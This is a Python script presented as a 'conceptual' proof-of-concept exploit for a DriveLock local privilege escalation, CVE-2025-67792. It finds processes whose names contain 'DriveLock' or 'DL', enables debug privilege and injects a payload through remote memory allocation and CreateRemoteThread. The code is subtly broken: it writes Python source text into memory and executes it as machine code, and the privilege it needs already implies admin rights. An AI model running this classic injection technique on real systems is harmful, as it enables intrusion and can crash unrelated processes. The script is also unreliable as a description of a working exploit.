# CVE-2025-67792 DriveLock Local Privilege Escalation PoC
# This is a conceptual PoC demonstrating the attack vector
import ctypes
import os
import sys
import time
import win32api
import win32security
import win32process
def get_current_privileges():
"""Get current process privileges"""
token = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32security.TOKEN_QUERY)
privileges = win32security.GetTokenInformation(token, win32security.TokenPrivileges)
return privileges
def enable_privilege(privilege_name):
"""Enable a specific privilege"""
try:
token = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY)
luid = win32security.LookupPrivilegeValue(None, privilege_name)
win32security.AdjustTokenPrivileges(token, False, [(luid, win32security.SE_PRIVILEGE_ENABLED)])
return True
except Exception as e:
print(f"Failed to enable {privilege_name}: {e}")
return False
def find_drivelock_process():
"""Find DriveLock process"""
processes = win32process.EnumProcesses()
drivelock_pids = []
for pid in processes:
try:
handle = win32api.OpenProcess(win32process.PROCESS_QUERY_INFORMATION, False, pid)
name = win32process.GetModuleBaseName(handle, 0)
if 'DriveLock' in name or 'DL' in name:
drivelock_pids.append((pid, name))
win32api.CloseHandle(handle)
except:
pass
return drivelock_pids
def exploit_drivelock(target_pid, payload):
"""
Exploit CVE-2025-67792 by manipulating DriveLock process
This demonstrates the privilege escalation vector
"""
print(f"[*] Target DriveLock process PID: {target_pid}")
# Step 1: Obtain debug privileges for process manipulation
enable_privilege(win32security.SE_DEBUG_PRIVILEGE)
# Step 2: Open handle to DriveLock process with high privileges
try:
target_handle = win32api.OpenProcess(
win32process.PROCESS_ALL_ACCESS,
False,
target_pid
)
print(f"[+] Opened handle to DriveLock process")
except Exception as e:
print(f"[-] Failed to open process handle: {e}")
return False
# Step 3: Allocate memory in target process for payload
payload_bytes = payload.encode('utf-8')
remote_memory = ctypes.windll.kernel32.VirtualAllocEx(
target_handle,
None,
len(payload_bytes),
win32process.MEM_COMMIT | win32process.MEM_RESERVE,
win32process.PAGE_EXECUTE_READWRITE
)
if remote_memory:
print(f"[+] Allocated memory at: 0x{remote_memory:x}")
# Step 4: Write payload to remote process memory
written = ctypes.windll.kernel32.WriteProcessMemory(
target_handle,
remote_memory,
payload_bytes,
len(payload_bytes)
)
if written:
print("[+] Payload written to target process")
# Step 5: Create remote thread to execute payload
thread_id = ctypes.windll.kernel32.CreateRemoteThread(
target_handle,
None,
0,
remote_memory,
None,
0,
None
)
if thread_id:
print("[+] Remote thread created - Payload execution successful!")
ctypes.windll.kernel32.WaitForSingleObject(thread_id, 60000)
return True
return False
def main():
print("="*60)
print("CVE-2025-67792 DriveLock Local Privilege Escalation PoC")
print("="*60)
# Display current privileges
print("\n[*] Current process privileges:")
privs = get_current_privileges()
for priv_id, flags in privs:
try:
name = win32security.LookupPrivilegeName(None, priv_id)
if flags & win32security.SE_PRIVILEGE_ENABLED:
print(f" - {name} (ENABLED)")
except:
pass
# Find DriveLock processes
print("\n[*] Searching for DriveLock processes...")
drivelock_procs = find_drivelock_process()
if not drivelock_procs:
print("[-] No DriveLock processes found")
return
for pid, name in drivelock_procs:
print(f" Found: {name} (PID: {pid})")
# Payload: Spawn a high-privilege command prompt
payload = '''
import ctypes
ctypes.windll.msvcrt.system("cmd.exe /c whoami > C:\\\\temp_priv_esc.txt")
'''
# Attempt exploitation
for pid, name in drivelock_procs:
print(f"\n[*] Attempting exploitation against {name} (PID: {pid})...")
if exploit_drivelock(pid, payload):
print("[+] Exploitation successful!")
break
if __name__ == "__main__":
main()